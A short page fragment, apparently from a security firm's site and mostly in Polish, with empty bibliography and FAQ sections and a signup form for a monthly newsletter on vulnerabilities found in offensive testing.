Zachęcamy społeczność do korzystania ze standardu i dzielenia się uwagami, abyśmy mogli go dalej udoskonalać.

Bibliografia

FAQ

Questions enterprise security teams ask before partnering with AFINE for security assessments.

No items found.

Miesięczny Raport Ofensywny

Dołącz do naszego newslettera! Co miesiąc ujawniamy nowe zagrożenia w oprogramowaniu biznesowym, wskazujemy kluczowe luki wymagające uwagi oraz analizujemy trendy w cyberbezpieczeństwie na podstawie naszych testów ofensywnych.

Klikając "Subskrybuj", potwierdzasz, że zgadzasz się z naszymi Zasadami i Warunkami.
Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.
Gradient glow background for call-to-action section